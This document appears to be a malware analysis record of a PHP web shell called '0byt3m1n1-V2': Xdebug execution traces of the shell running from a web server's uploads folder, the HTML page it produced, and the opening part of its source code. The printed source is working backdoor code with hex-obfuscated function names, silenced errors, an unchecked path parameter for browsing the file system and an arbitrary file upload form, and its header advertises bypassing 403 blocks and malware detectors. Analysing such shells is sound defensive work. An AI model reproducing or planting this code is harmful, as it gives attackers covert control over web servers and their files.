2		A						/var/www/html/uploads/0b.php	172	$info .= 'r'
2		A						/var/www/html/uploads/0b.php	173	$info .= 'w'
2		A						/var/www/html/uploads/0b.php	174	$info .= 'x'
2	18	1	0.001473	446504
2	18	R			'drwxrwxrwx'
2	20	0	0.001487	446464	is_writable	0		/var/www/html/uploads/0b.php	118	1	'/var/www/html/uploads/data'
2	20	1	0.001504	446504
2	20	R			TRUE
2	21	0	0.001518	446464	filemtime	0		/var/www/html/uploads/0b.php	120	1	'/var/www/html/uploads/data'
2	21	1	0.001531	446504
2	21	R			1676251837
2	22	0	0.001544	446408	date	0		/var/www/html/uploads/0b.php	120	2	'd-M-Y H:i'	1676251837
2	22	1	0.001600	448800
2	22	R			'12-Feb-2023 20:30'
2	23	0	0.001619	448536	is_dir	0		/var/www/html/uploads/0b.php	110	1	'/var/www/html/uploads/prepend.php'
2	23	1	0.001636	448584
2	23	R			FALSE
2	24	0	0.001650	448528	is_file	0		/var/www/html/uploads/0b.php	124	1	'/var/www/html/uploads/.'
2	24	1	0.001664	448552
2	24	R			FALSE
2	25	0	0.001677	448520	is_file	0		/var/www/html/uploads/0b.php	124	1	'/var/www/html/uploads/..'
2	25	1	0.001691	448568
2	25	R			FALSE
2	26	0	0.001703	448528	is_file	0		/var/www/html/uploads/0b.php	124	1	'/var/www/html/uploads/.htaccess'
2	26	1	0.001718	448568
2	26	R			TRUE
2	27	0	0.001731	448528	filesize	0		/var/www/html/uploads/0b.php	126	1	'/var/www/html/uploads/.htaccess'
2	27	1	0.001744	448568
2	27	R			64
1		A						/var/www/html/uploads/0b.php	126	$size = 0.0625
2	28	0	0.001768	448472	round	0		/var/www/html/uploads/0b.php	127	2	0.0625	3
2	28	1	0.001781	448544
2	28	R			0.063
1		A						/var/www/html/uploads/0b.php	127	$size = 0.063
1		A						/var/www/html/uploads/0b.php	131	$size = '0.063 KB'
2	29	0	0.001817	448568	is_writable	0		/var/www/html/uploads/0b.php	134	1	'/var/www/html/uploads/.htaccess'
2	29	1	0.001834	448608
2	29	R			FALSE
2	30	0	0.001846	448568	is_readable	0		/var/www/html/uploads/0b.php	136	1	'/var/www/html/uploads/.htaccess'
2	30	1	0.001861	448608
2	30	R			TRUE
2	31	0	0.001875	448568	perms	1		/var/www/html/uploads/0b.php	138	1	'/var/www/html/uploads/.htaccess'
3	32	0	0.001887	448568	fileperms	0		/var/www/html/uploads/0b.php	148	1	'/var/www/html/uploads/.htaccess'
3	32	1	0.001900	448608
3	32	R			33188
2		A						/var/www/html/uploads/0b.php	148	$perms = 33188
2		A						/var/www/html/uploads/0b.php	154	$info = '-'
2		A						/var/www/html/uploads/0b.php	166	$info .= 'r'
2		A						/var/www/html/uploads/0b.php	167	$info .= 'w'
2		A						/var/www/html/uploads/0b.php	168	$info .= '-'
2		A						/var/www/html/uploads/0b.php	169	$info .= 'r'
2		A						/var/www/html/uploads/0b.php	170	$info .= '-'
2		A						/var/www/html/uploads/0b.php	171	$info .= '-'
2		A						/var/www/html/uploads/0b.php	172	$info .= 'r'
2		A						/var/www/html/uploads/0b.php	173	$info .= '-'
2		A						/var/www/html/uploads/0b.php	174	$info .= '-'
2	31	1	0.002020	448608
2	31	R			'-rw-r--r--'
2	33	0	0.002035	448568	is_writable	0		/var/www/html/uploads/0b.php	139	1	'/var/www/html/uploads/.htaccess'
2	33	1	0.002050	448608
2	33	R			FALSE
2	34	0	0.002063	448568	is_readable	0		/var/www/html/uploads/0b.php	139	1	'/var/www/html/uploads/.htaccess'
2	34	1	0.002078	448608
2	34	R			TRUE
2	35	0	0.002091	448568	filemtime	0		/var/www/html/uploads/0b.php	141	1	'/var/www/html/uploads/.htaccess'
2	35	1	0.002104	448608
2	35	R			1676251837
2	36	0	0.002116	448512	date	0		/var/www/html/uploads/0b.php	141	2	'd-M-Y H:i'	1676251837
2	36	1	0.002147	448840
2	36	R			'12-Feb-2023 20:30'
2	37	0	0.002163	448568	is_file	0		/var/www/html/uploads/0b.php	124	1	'/var/www/html/uploads/0b.php'
2	37	1	0.002182	448608
2	37	R			TRUE
2	38	0	0.002195	448568	filesize	0		/var/www/html/uploads/0b.php	126	1	'/var/www/html/uploads/0b.php'
2	38	1	0.002207	448608
2	38	R			9333
1		A						/var/www/html/uploads/0b.php	126	$size = 9.1142578125
2	39	0	0.002231	448472	round	0		/var/www/html/uploads/0b.php	127	2	9.1142578125	3
2	39	1	0.002244	448544
2	39	R			9.114
1		A						/var/www/html/uploads/0b.php	127	$size = 9.114
1		A						/var/www/html/uploads/0b.php	131	$size = '9.114 KB'
2	40	0	0.002280	448568	is_writable	0		/var/www/html/uploads/0b.php	134	1	'/var/www/html/uploads/0b.php'
2	40	1	0.002294	448608
2	40	R			FALSE
2	41	0	0.002308	448568	is_readable	0		/var/www/html/uploads/0b.php	136	1	'/var/www/html/uploads/0b.php'
2	41	1	0.002322	448608
2	41	R			TRUE
2	42	0	0.002335	448568	perms	1		/var/www/html/uploads/0b.php	138	1	'/var/www/html/uploads/0b.php'
3	43	0	0.002348	448568	fileperms	0		/var/www/html/uploads/0b.php	148	1	'/var/www/html/uploads/0b.php'
3	43	1	0.002359	448608
3	43	R			33204
2		A						/var/www/html/uploads/0b.php	148	$perms = 33204
2		A						/var/www/html/uploads/0b.php	154	$info = '-'
2		A						/var/www/html/uploads/0b.php	166	$info .= 'r'
2		A						/var/www/html/uploads/0b.php	167	$info .= 'w'
2		A						/var/www/html/uploads/0b.php	168	$info .= '-'
2		A						/var/www/html/uploads/0b.php	169	$info .= 'r'
2		A						/var/www/html/uploads/0b.php	170	$info .= 'w'
2		A						/var/www/html/uploads/0b.php	171	$info .= '-'
2		A						/var/www/html/uploads/0b.php	172	$info .= 'r'
2		A						/var/www/html/uploads/0b.php	173	$info .= '-'
2		A						/var/www/html/uploads/0b.php	174	$info .= '-'
2	42	1	0.002478	448608
2	42	R			'-rw-rw-r--'
2	44	0	0.002492	448568	is_writable	0		/var/www/html/uploads/0b.php	139	1	'/var/www/html/uploads/0b.php'
2	44	1	0.002506	448608
2	44	R			FALSE
2	45	0	0.002520	448568	is_readable	0		/var/www/html/uploads/0b.php	139	1	'/var/www/html/uploads/0b.php'
2	45	1	0.002534	448608
2	45	R			TRUE
2	46	0	0.002547	448568	filemtime	0		/var/www/html/uploads/0b.php	141	1	'/var/www/html/uploads/0b.php'
2	46	1	0.002560	448608
2	46	R			1676251837
2	47	0	0.002573	448512	date	0		/var/www/html/uploads/0b.php	141	2	'd-M-Y H:i'	1676251837
2	47	1	0.002603	448840
2	47	R			'12-Feb-2023 20:30'
2	48	0	0.002619	448568	is_file	0		/var/www/html/uploads/0b.php	124	1	'/var/www/html/uploads/data'
2	48	1	0.002633	448608
2	48	R			FALSE
2	49	0	0.002646	448576	is_file	0		/var/www/html/uploads/0b.php	124	1	'/var/www/html/uploads/prepend.php'
2	49	1	0.002661	448624
2	49	R			TRUE
2	50	0	0.002673	448584	filesize	0		/var/www/html/uploads/0b.php	126	1	'/var/www/html/uploads/prepend.php'
2	50	1	0.002687	448624
2	50	R			57
1		A						/var/www/html/uploads/0b.php	126	$size = 0.0556640625
2	51	0	0.002710	448480	round	0		/var/www/html/uploads/0b.php	127	2	0.0556640625	3
2	51	1	0.002723	448552
2	51	R			0.056
1		A						/var/www/html/uploads/0b.php	127	$size = 0.056
1		A						/var/www/html/uploads/0b.php	131	$size = '0.056 KB'
2	52	0	0.002758	448584	is_writable	0		/var/www/html/uploads/0b.php	134	1	'/var/www/html/uploads/prepend.php'
2	52	1	0.002774	448624
2	52	R			FALSE
2	53	0	0.002787	448584	is_readable	0		/var/www/html/uploads/0b.php	136	1	'/var/www/html/uploads/prepend.php'
2	53	1	0.002801	448624
2	53	R			TRUE
2	54	0	0.002814	448584	perms	1		/var/www/html/uploads/0b.php	138	1	'/var/www/html/uploads/prepend.php'
3	55	0	0.002827	448584	fileperms	0		/var/www/html/uploads/0b.php	148	1	'/var/www/html/uploads/prepend.php'
3	55	1	0.002840	448624
3	55	R			33261
2		A						/var/www/html/uploads/0b.php	148	$perms = 33261
2		A						/var/www/html/uploads/0b.php	154	$info = '-'
2		A						/var/www/html/uploads/0b.php	166	$info .= 'r'
2		A						/var/www/html/uploads/0b.php	167	$info .= 'w'
2		A						/var/www/html/uploads/0b.php	168	$info .= 'x'
2		A						/var/www/html/uploads/0b.php	169	$info .= 'r'
2		A						/var/www/html/uploads/0b.php	170	$info .= '-'
2		A						/var/www/html/uploads/0b.php	171	$info .= 'x'
2		A						/var/www/html/uploads/0b.php	172	$info .= 'r'
2		A						/var/www/html/uploads/0b.php	173	$info .= '-'
2		A						/var/www/html/uploads/0b.php	174	$info .= 'x'
2	54	1	0.002962	448624
2	54	R			'-rwxr-xr-x'
2	56	0	0.002976	448584	is_writable	0		/var/www/html/uploads/0b.php	139	1	'/var/www/html/uploads/prepend.php'
2	56	1	0.002992	448624
2	56	R			FALSE
2	57	0	0.003005	448584	is_readable	0		/var/www/html/uploads/0b.php	139	1	'/var/www/html/uploads/prepend.php'
2	57	1	0.003020	448624
2	57	R			TRUE
2	58	0	0.003033	448584	filemtime	0		/var/www/html/uploads/0b.php	141	1	'/var/www/html/uploads/prepend.php'
2	58	1	0.003045	448624
2	58	R			1676251837
2	59	0	0.003058	448520	date	0		/var/www/html/uploads/0b.php	141	2	'd-M-Y H:i'	1676251837
2	59	1	0.003089	448848
2	59	R			'12-Feb-2023 20:30'
1	3	1	0.003110	448632
			0.003138	326552
TRACE END   [2023-02-12 23:31:03.625623]

data/traces/c39cf5f170cd0fc50e4cb56fc2457a3a_trace-1676260385.5304.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-13 01:53:31.428269]
1	0	1	0.000139	393464
1	3	0	0.000433	445208	{main}	1		/var/www/html/uploads/0.php7	0	0
2	4	0	0.000450	445208	set_time_limit	0		/var/www/html/uploads/0.php7	8	1	0
2	4	1	0.000467	445272
2	4	R			FALSE
2	5	0	0.000480	445240	error_reporting	0		/var/www/html/uploads/0.php7	9	1	0
2	5	1	0.000493	445280
2	5	R			22527
2	6	0	0.000506	445240	error_log	0		/var/www/html/uploads/0.php7	10	1	0
2	6	1	0.000531	445272
2	6	R			TRUE
1		A						/var/www/html/uploads/0.php7	12	$sname = '0byt3m1n1-V2'
1		A						/var/www/html/uploads/0.php7	13	$__gcdir = 'getcwd'
1		A						/var/www/html/uploads/0.php7	14	$__fgetcon7s = 'file_get_contents'
1		A						/var/www/html/uploads/0.php7	15	$__scdir = 'scandir'
1		A						/var/www/html/uploads/0.php7	16	$rm__dir = 'rmdir'
1		A						/var/www/html/uploads/0.php7	17	$un__link = 'unlink'
2	7	0	0.000610	445240	get_magic_quotes_gpc	0		/var/www/html/uploads/0.php7	19	0
2	7	1	0.000622	445240
2	7	R			FALSE
2	8	0	0.000638	445240	getcwd	0		/var/www/html/uploads/0.php7	32	0
2	8	1	0.000651	445288
2	8	R			'/var/www/html/uploads'
1		A						/var/www/html/uploads/0.php7	32	$path = '/var/www/html/uploads'
2	9	0	0.000676	445288	str_replace	0		/var/www/html/uploads/0.php7	34	3	'\\'	'/'	'/var/www/html/uploads'
2	9	1	0.000691	445384
2	9	R			'/var/www/html/uploads'
1		A						/var/www/html/uploads/0.php7	34	$path = '/var/www/html/uploads'
2	10	0	0.000715	445288	explode	0		/var/www/html/uploads/0.php7	35	2	'/'	'/var/www/html/uploads'
2	10	1	0.000728	445864
2	10	R			[0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads']
1		A						/var/www/html/uploads/0.php7	35	$paths = [0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads']
1		A						/var/www/html/uploads/0.php7	38	$id = 0
1		A						/var/www/html/uploads/0.php7	40	$i = 0
1		A						/var/www/html/uploads/0.php7	40	$i++
1		A						/var/www/html/uploads/0.php7	38	$id = 1
1		A						/var/www/html/uploads/0.php7	40	$i = 0
1		A						/var/www/html/uploads/0.php7	40	$i++
1		A						/var/www/html/uploads/0.php7	40	$i++
1		A						/var/www/html/uploads/0.php7	38	$id = 2
1		A						/var/www/html/uploads/0.php7	40	$i = 0
1		A						/var/www/html/uploads/0.php7	40	$i++
1		A						/var/www/html/uploads/0.php7	40	$i++
1		A						/var/www/html/uploads/0.php7	40	$i++
1		A						/var/www/html/uploads/0.php7	38	$id = 3
1		A						/var/www/html/uploads/0.php7	40	$i = 0
1		A						/var/www/html/uploads/0.php7	40	$i++
1		A						/var/www/html/uploads/0.php7	40	$i++
1		A						/var/www/html/uploads/0.php7	40	$i++
1		A						/var/www/html/uploads/0.php7	40	$i++
1		A						/var/www/html/uploads/0.php7	38	$id = 4
1		A						/var/www/html/uploads/0.php7	40	$i = 0
1		A						/var/www/html/uploads/0.php7	40	$i++
1		A						/var/www/html/uploads/0.php7	40	$i++
1		A						/var/www/html/uploads/0.php7	40	$i++
1		A						/var/www/html/uploads/0.php7	40	$i++
1		A						/var/www/html/uploads/0.php7	40	$i++
2	11	0	0.000963	445792	scandir	0		/var/www/html/uploads/0.php7	107	1	'/var/www/html/uploads'
2	11	1	0.000994	446408
2	11	R			[0 => '.', 1 => '..', 2 => '.htaccess', 3 => '0.php7', 4 => 'data', 5 => 'prepend.php']
1		A						/var/www/html/uploads/0.php7	107	$_scdir = [0 => '.', 1 => '..', 2 => '.htaccess', 3 => '0.php7', 4 => 'data', 5 => 'prepend.php']
2	12	0	0.001032	446424	is_dir	0		/var/www/html/uploads/0.php7	110	1	'/var/www/html/uploads/.'
2	12	1	0.001048	446488
2	12	R			TRUE
2	13	0	0.001062	446456	is_dir	0		/var/www/html/uploads/0.php7	110	1	'/var/www/html/uploads/..'
2	13	1	0.001077	446504
2	13	R			TRUE
2	14	0	0.001091	446464	is_dir	0		/var/www/html/uploads/0.php7	110	1	'/var/www/html/uploads/.htaccess'
2	14	1	0.001105	446504
2	14	R			FALSE
2	15	0	0.001118	446464	is_dir	0		/var/www/html/uploads/0.php7	110	1	'/var/www/html/uploads/0.php7'
2	15	1	0.001132	446504
2	15	R			FALSE
2	16	0	0.001145	446464	is_dir	0		/var/www/html/uploads/0.php7	110	1	'/var/www/html/uploads/data'
2	16	1	0.001159	446504
2	16	R			TRUE
2	17	0	0.001172	446464	is_writable	0		/var/www/html/uploads/0.php7	113	1	'/var/www/html/uploads/data'
2	17	1	0.001189	446504
2	17	R			TRUE
2	18	0	0.001202	446464	perms	1		/var/www/html/uploads/0.php7	117	1	'/var/www/html/uploads/data'
3	19	0	0.001220	446464	fileperms	0		/var/www/html/uploads/0.php7	148	1	'/var/www/html/uploads/data'
3	19	1	0.001233	446504
3	19	R			16895
2		A						/var/www/html/uploads/0.php7	148	$perms = 16895
2		A						/var/www/html/uploads/0.php7	158	$info = 'd'
2		A						/var/www/html/uploads/0.php7	166	$info .= 'r'
2		A						/var/www/html/uploads/0.php7	167	$info .= 'w'
2		A						/var/www/html/uploads/0.php7	168	$info .= 'x'
2		A						/var/www/html/uploads/0.php7	169	$info .= 'r'
2		A						/var/www/html/uploads/0.php7	170	$info .= 'w'
2		A						/var/www/html/uploads/0.php7	171	$info .= 'x'
2		A						/var/www/html/uploads/0.php7	172	$info .= 'r'
2		A						/var/www/html/uploads/0.php7	173	$info .= 'w'
2		A						/var/www/html/uploads/0.php7	174	$info .= 'x'
2	18	1	0.001353	446504
2	18	R			'drwxrwxrwx'
2	20	0	0.001367	446464	is_writable	0		/var/www/html/uploads/0.php7	118	1	'/var/www/html/uploads/data'
2	20	1	0.001383	446504
2	20	R			TRUE
2	21	0	0.001397	446464	filemtime	0		/var/www/html/uploads/0.php7	120	1	'/var/www/html/uploads/data'
2	21	1	0.001409	446504
2	21	R			1676260385
2	22	0	0.001422	446408	date	0		/var/www/html/uploads/0.php7	120	2	'd-M-Y H:i'	1676260385
2	22	1	0.001479	448800
2	22	R			'12-Feb-2023 22:53'
2	23	0	0.001497	448536	is_dir	0		/var/www/html/uploads/0.php7	110	1	'/var/www/html/uploads/prepend.php'
2	23	1	0.001514	448584
2	23	R			FALSE
2	24	0	0.001527	448528	is_file	0		/var/www/html/uploads/0.php7	124	1	'/var/www/html/uploads/.'
2	24	1	0.001541	448552
2	24	R			FALSE
2	25	0	0.001561	448520	is_file	0		/var/www/html/uploads/0.php7	124	1	'/var/www/html/uploads/..'
2	25	1	0.001576	448568
2	25	R			FALSE
2	26	0	0.001589	448528	is_file	0		/var/www/html/uploads/0.php7	124	1	'/var/www/html/uploads/.htaccess'
2	26	1	0.001603	448568
2	26	R			TRUE
2	27	0	0.001616	448528	filesize	0		/var/www/html/uploads/0.php7	126	1	'/var/www/html/uploads/.htaccess'
2	27	1	0.001628	448568
2	27	R			64
1		A						/var/www/html/uploads/0.php7	126	$size = 0.0625
2	28	0	0.001652	448472	round	0		/var/www/html/uploads/0.php7	127	2	0.0625	3
2	28	1	0.001665	448544
2	28	R			0.063
1		A						/var/www/html/uploads/0.php7	127	$size = 0.063
1		A						/var/www/html/uploads/0.php7	131	$size = '0.063 KB'
2	29	0	0.001700	448568	is_writable	0		/var/www/html/uploads/0.php7	134	1	'/var/www/html/uploads/.htaccess'
2	29	1	0.001716	448608
2	29	R			FALSE
2	30	0	0.001729	448568	is_readable	0		/var/www/html/uploads/0.php7	136	1	'/var/www/html/uploads/.htaccess'
2	30	1	0.001744	448608
2	30	R			TRUE
2	31	0	0.001757	448568	perms	1		/var/www/html/uploads/0.php7	138	1	'/var/www/html/uploads/.htaccess'
3	32	0	0.001769	448568	fileperms	0		/var/www/html/uploads/0.php7	148	1	'/var/www/html/uploads/.htaccess'
3	32	1	0.001782	448608
3	32	R			33188
2		A						/var/www/html/uploads/0.php7	148	$perms = 33188
2		A						/var/www/html/uploads/0.php7	154	$info = '-'
2		A						/var/www/html/uploads/0.php7	166	$info .= 'r'
2		A						/var/www/html/uploads/0.php7	167	$info .= 'w'
2		A						/var/www/html/uploads/0.php7	168	$info .= '-'
2		A						/var/www/html/uploads/0.php7	169	$info .= 'r'
2		A						/var/www/html/uploads/0.php7	170	$info .= '-'
2		A						/var/www/html/uploads/0.php7	171	$info .= '-'
2		A						/var/www/html/uploads/0.php7	172	$info .= 'r'
2		A						/var/www/html/uploads/0.php7	173	$info .= '-'
2		A						/var/www/html/uploads/0.php7	174	$info .= '-'
2	31	1	0.001897	448608
2	31	R			'-rw-r--r--'
2	33	0	0.001911	448568	is_writable	0		/var/www/html/uploads/0.php7	139	1	'/var/www/html/uploads/.htaccess'
2	33	1	0.001926	448608
2	33	R			FALSE
2	34	0	0.001939	448568	is_readable	0		/var/www/html/uploads/0.php7	139	1	'/var/www/html/uploads/.htaccess'
2	34	1	0.001954	448608
2	34	R			TRUE
2	35	0	0.001966	448568	filemtime	0		/var/www/html/uploads/0.php7	141	1	'/var/www/html/uploads/.htaccess'
2	35	1	0.001979	448608
2	35	R			1676260385
2	36	0	0.001991	448512	date	0		/var/www/html/uploads/0.php7	141	2	'd-M-Y H:i'	1676260385
2	36	1	0.002023	448840
2	36	R			'12-Feb-2023 22:53'
2	37	0	0.002038	448568	is_file	0		/var/www/html/uploads/0.php7	124	1	'/var/www/html/uploads/0.php7'
2	37	1	0.002057	448608
2	37	R			TRUE
2	38	0	0.002070	448568	filesize	0		/var/www/html/uploads/0.php7	126	1	'/var/www/html/uploads/0.php7'
2	38	1	0.002083	448608
2	38	R			9333
1		A						/var/www/html/uploads/0.php7	126	$size = 9.1142578125
2	39	0	0.002106	448472	round	0		/var/www/html/uploads/0.php7	127	2	9.1142578125	3
2	39	1	0.002119	448544
2	39	R			9.114
1		A						/var/www/html/uploads/0.php7	127	$size = 9.114
1		A						/var/www/html/uploads/0.php7	131	$size = '9.114 KB'
2	40	0	0.002154	448568	is_writable	0		/var/www/html/uploads/0.php7	134	1	'/var/www/html/uploads/0.php7'
2	40	1	0.002168	448608
2	40	R			FALSE
2	41	0	0.002181	448568	is_readable	0		/var/www/html/uploads/0.php7	136	1	'/var/www/html/uploads/0.php7'
2	41	1	0.002195	448608
2	41	R			TRUE
2	42	0	0.002208	448568	perms	1		/var/www/html/uploads/0.php7	138	1	'/var/www/html/uploads/0.php7'
3	43	0	0.002220	448568	fileperms	0		/var/www/html/uploads/0.php7	148	1	'/var/www/html/uploads/0.php7'
3	43	1	0.002232	448608
3	43	R			33204
2		A						/var/www/html/uploads/0.php7	148	$perms = 33204
2		A						/var/www/html/uploads/0.php7	154	$info = '-'
2		A						/var/www/html/uploads/0.php7	166	$info .= 'r'
2		A						/var/www/html/uploads/0.php7	167	$info .= 'w'
2		A						/var/www/html/uploads/0.php7	168	$info .= '-'
2		A						/var/www/html/uploads/0.php7	169	$info .= 'r'
2		A						/var/www/html/uploads/0.php7	170	$info .= 'w'
2		A						/var/www/html/uploads/0.php7	171	$info .= '-'
2		A						/var/www/html/uploads/0.php7	172	$info .= 'r'
2		A						/var/www/html/uploads/0.php7	173	$info .= '-'
2		A						/var/www/html/uploads/0.php7	174	$info .= '-'
2	42	1	0.002348	448608
2	42	R			'-rw-rw-r--'
2	44	0	0.002362	448568	is_writable	0		/var/www/html/uploads/0.php7	139	1	'/var/www/html/uploads/0.php7'
2	44	1	0.002376	448608
2	44	R			FALSE
2	45	0	0.002389	448568	is_readable	0		/var/www/html/uploads/0.php7	139	1	'/var/www/html/uploads/0.php7'
2	45	1	0.002404	448608
2	45	R			TRUE
2	46	0	0.002417	448568	filemtime	0		/var/www/html/uploads/0.php7	141	1	'/var/www/html/uploads/0.php7'
2	46	1	0.002429	448608
2	46	R			1676260385
2	47	0	0.002442	448512	date	0		/var/www/html/uploads/0.php7	141	2	'd-M-Y H:i'	1676260385
2	47	1	0.002472	448840
2	47	R			'12-Feb-2023 22:53'
2	48	0	0.002487	448568	is_file	0		/var/www/html/uploads/0.php7	124	1	'/var/www/html/uploads/data'
2	48	1	0.002501	448608
2	48	R			FALSE
2	49	0	0.002514	448576	is_file	0		/var/www/html/uploads/0.php7	124	1	'/var/www/html/uploads/prepend.php'
2	49	1	0.002529	448624
2	49	R			TRUE
2	50	0	0.002541	448584	filesize	0		/var/www/html/uploads/0.php7	126	1	'/var/www/html/uploads/prepend.php'
2	50	1	0.002555	448624
2	50	R			57
1		A						/var/www/html/uploads/0.php7	126	$size = 0.0556640625
2	51	0	0.002577	448480	round	0		/var/www/html/uploads/0.php7	127	2	0.0556640625	3
2	51	1	0.002590	448552
2	51	R			0.056
1		A						/var/www/html/uploads/0.php7	127	$size = 0.056
1		A						/var/www/html/uploads/0.php7	131	$size = '0.056 KB'
2	52	0	0.002625	448584	is_writable	0		/var/www/html/uploads/0.php7	134	1	'/var/www/html/uploads/prepend.php'
2	52	1	0.002640	448624
2	52	R			FALSE
2	53	0	0.002652	448584	is_readable	0		/var/www/html/uploads/0.php7	136	1	'/var/www/html/uploads/prepend.php'
2	53	1	0.002667	448624
2	53	R			TRUE
2	54	0	0.002680	448584	perms	1		/var/www/html/uploads/0.php7	138	1	'/var/www/html/uploads/prepend.php'
3	55	0	0.002692	448584	fileperms	0		/var/www/html/uploads/0.php7	148	1	'/var/www/html/uploads/prepend.php'
3	55	1	0.002705	448624
3	55	R			33261
2		A						/var/www/html/uploads/0.php7	148	$perms = 33261
2		A						/var/www/html/uploads/0.php7	154	$info = '-'
2		A						/var/www/html/uploads/0.php7	166	$info .= 'r'
2		A						/var/www/html/uploads/0.php7	167	$info .= 'w'
2		A						/var/www/html/uploads/0.php7	168	$info .= 'x'
2		A						/var/www/html/uploads/0.php7	169	$info .= 'r'
2		A						/var/www/html/uploads/0.php7	170	$info .= '-'
2		A						/var/www/html/uploads/0.php7	171	$info .= 'x'
2		A						/var/www/html/uploads/0.php7	172	$info .= 'r'
2		A						/var/www/html/uploads/0.php7	173	$info .= '-'
2		A						/var/www/html/uploads/0.php7	174	$info .= 'x'
2	54	1	0.002826	448624
2	54	R			'-rwxr-xr-x'
2	56	0	0.002840	448584	is_writable	0		/var/www/html/uploads/0.php7	139	1	'/var/www/html/uploads/prepend.php'
2	56	1	0.002856	448624
2	56	R			FALSE
2	57	0	0.002869	448584	is_readable	0		/var/www/html/uploads/0.php7	139	1	'/var/www/html/uploads/prepend.php'
2	57	1	0.002884	448624
2	57	R			TRUE
2	58	0	0.002898	448584	filemtime	0		/var/www/html/uploads/0.php7	141	1	'/var/www/html/uploads/prepend.php'
2	58	1	0.002910	448624
2	58	R			1676260385
2	59	0	0.002923	448520	date	0		/var/www/html/uploads/0.php7	141	2	'd-M-Y H:i'	1676260385
2	59	1	0.002953	448848
2	59	R			'12-Feb-2023 22:53'
1	3	1	0.002975	448632
			0.003005	326552
TRACE END   [2023-02-13 01:53:31.431161]


Generated HTML code

<html><head><link href="https://fonts.googleapis.com/css?family=VT323" rel="stylesheet"><title>0byt3m1n1-V2</title><script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script><link href="//zerobyte-id.github.io/PHP-Backdoor/inc/m1n1.css" rel="stylesheet" type="text/css"></head><body><div style="color:#ef6c00;margin-top:0;"><h1><center>0byt3m1n1-V2</center></h1></div><table width="100%" border="0" align="center" style="margin-top:-10px;"><tbody><tr><td><font style="font-size:13px;">Path: <a style="font-size:13px;" href="?path="></a>/<a style="font-size:13px;" href="?path=/var">var</a>/<a style="font-size:13px;" href="?path=/var/www">www</a>/<a style="font-size:13px;" href="?path=/var/www/html">html</a>/<br>[ <a href="?">Home</a> ]</font></td><td align="center" width="27%"><form enctype="multipart/form-data" method="POST"><input type="file" name="file" style="color:#ef6c00;margin-bottom:4px;"><input type="submit" value="Upload"></form></td></tr><tr><td colspan="2"></td></tr><tr><td></td></tr></tbody></table><div class="table-div" style="background-image: url(&quot;http://zerobyte.id/?url=http://localhost/0b.php&quot;);"></div><input id="image" type="hidden"><br><center></center><div id="content"><table width="100%" border="0" cellpadding="3" cellspacing="1" align="center"><tbody><tr class="first"> <th><center>Name</center></th><th width="12%"><center>Size</center></th><th width="10%"><center>Permissions</center></th> <th width="15%"><center>Last Update</center></th><th width="11%"><center>Options</center></th></tr><tr><td>[F] <a href="?filesrc=/var/www/html/0b.php&amp;path=/var/www/html">0b.php</a></td><td><center>9.114 KB</center></td><td><center>-rw-rw-r--</center></td><td><center>12-Feb-2023 20:30</center></td><td><center><form method="POST" action="?option&amp;path=/var/www/html"><select name="opt"><option value=""></option><option value="delete">Delete</option><option value="rename">Rename</option><option value="edit">Edit</option></select><input type="hidden" name="type" value="file"><input type="hidden" name="name" value="0b.php"><input type="hidden" name="path" value="/var/www/html/0b.php"><input type="submit" value="+"></form></center></td></tr><tr><td>[F] <a href="?filesrc=/var/www/html/beneri.se_malware_analysis&amp;path=/var/www/html">beneri.se_malware_analysis</a></td><td><center>0 KB</center></td><td><center>-rw-r--r--</center></td><td><center>12-Feb-2023 20:30</center></td><td><center><form method="POST" action="?option&amp;path=/var/www/html"><select name="opt"><option value=""></option><option value="delete">Delete</option><option value="rename">Rename</option><option value="edit">Edit</option></select><input type="hidden" name="type" value="file"><input type="hidden" name="name" value="beneri.se_malware_analysis"><input type="hidden" name="path" value="/var/www/html/beneri.se_malware_analysis"><input type="submit" value="+"></form></center></td></tr></tbody></table></div><br><center>© <span id="footer"><a href="http://zerobyte.id/">ZeroByte.ID</a></span> 2018.</center><br><script type="text/javascript" src="//zerobyte-id.github.io/PHP-Backdoor/inc/footer.js"></script></body></html>

Original PHP code

<?php

/*
    0 b y t 3 m 1 n 1 - 2.2
    Bypass 403 Forbidden / Auto Delete Shell / PHP Malware Detector / Minishell
*/

set_time_limit(0);
error_reporting(0);
error_log(0);

$sname       = "\x30\x62\x79\x74\x33\x6d\x31\x6e\x31" . "-V2";
$__gcdir     = "\x67" . "\x65\x74\x63\x77\x64";
$__fgetcon7s = "\x66\x69\x6c\x65" . "\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73";
$__scdir     = "s" . "\x63\x61\x6e\x64\x69" . "r";
$rm__dir     = "\x72\x6d\x64" . "ir";
$un__link    = "\x75\x6e" . "\x6c\x69\x6e\x6b";

if (get_magic_quotes_gpc()) {
    foreach ($_POST as $key => $value) {
        $_POST[$key] = stripslashes($value);
    }
}

echo '<!DOCTYPE html><html><head><link href="https://fonts.googleapis.com/css?family=VT323" rel="stylesheet"><title>'.$sname.'</title><script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script><link href="//zerobyte-id.github.io/PHP-Backdoor/inc/m1n1.css" rel="stylesheet" type="text/css"></head><body>';

echo '<div style="color:#ef6c00;margin-top:0;"><h1><center>' . $sname . '</center></h1></div>';
if (isset($_GET['path'])) {
    $path = $_GET['path'];
    chdir($_GET['path']);
} else {
    $path = $__gcdir();
}
$path  = str_replace("\\", "/", $path);
$paths = explode("/", $path);
echo '<table width="100%" border="0" align="center" style="margin-top:-10px;"><tr><td>';
echo "<font style='font-size:13px;'>Path: ";
foreach ($paths as $id => $pat) {
    echo "<a style='font-size:13px;' href='?path=";
    for ($i = 0; $i <= $id; $i++) {
        echo $paths[$i];
        if ($i != $id) {
            echo "/";
        }
    }
    echo "'>$pat</a>/";
}
echo '<br>[ <a href="?">Home</a> ]</font></td><td align="center" width="27%"><form enctype="multipart/form-data" method="POST"><input type="file" name="file" style="color:#ef6c00;margin-bottom:4px;"/><input type="submit" value="Upload" /></form></td></tr><tr><td colspan="2">';
if (isset($_FILES['file'])) {
    if (copy($_FILES['file']['tmp_name'], $path . '/' . $_FILES['file']['name'])) {
        echo '<center><font color="#00ff00">Upload OK!</font></center><br/>';
    } else {
        echo '<center><font color="red">Upload FAILED!</font></center><br/>';
    }
}
echo '</td></tr><tr><td></table><div class="table-div"></div><input id="image" type="hidden">';
echo '';
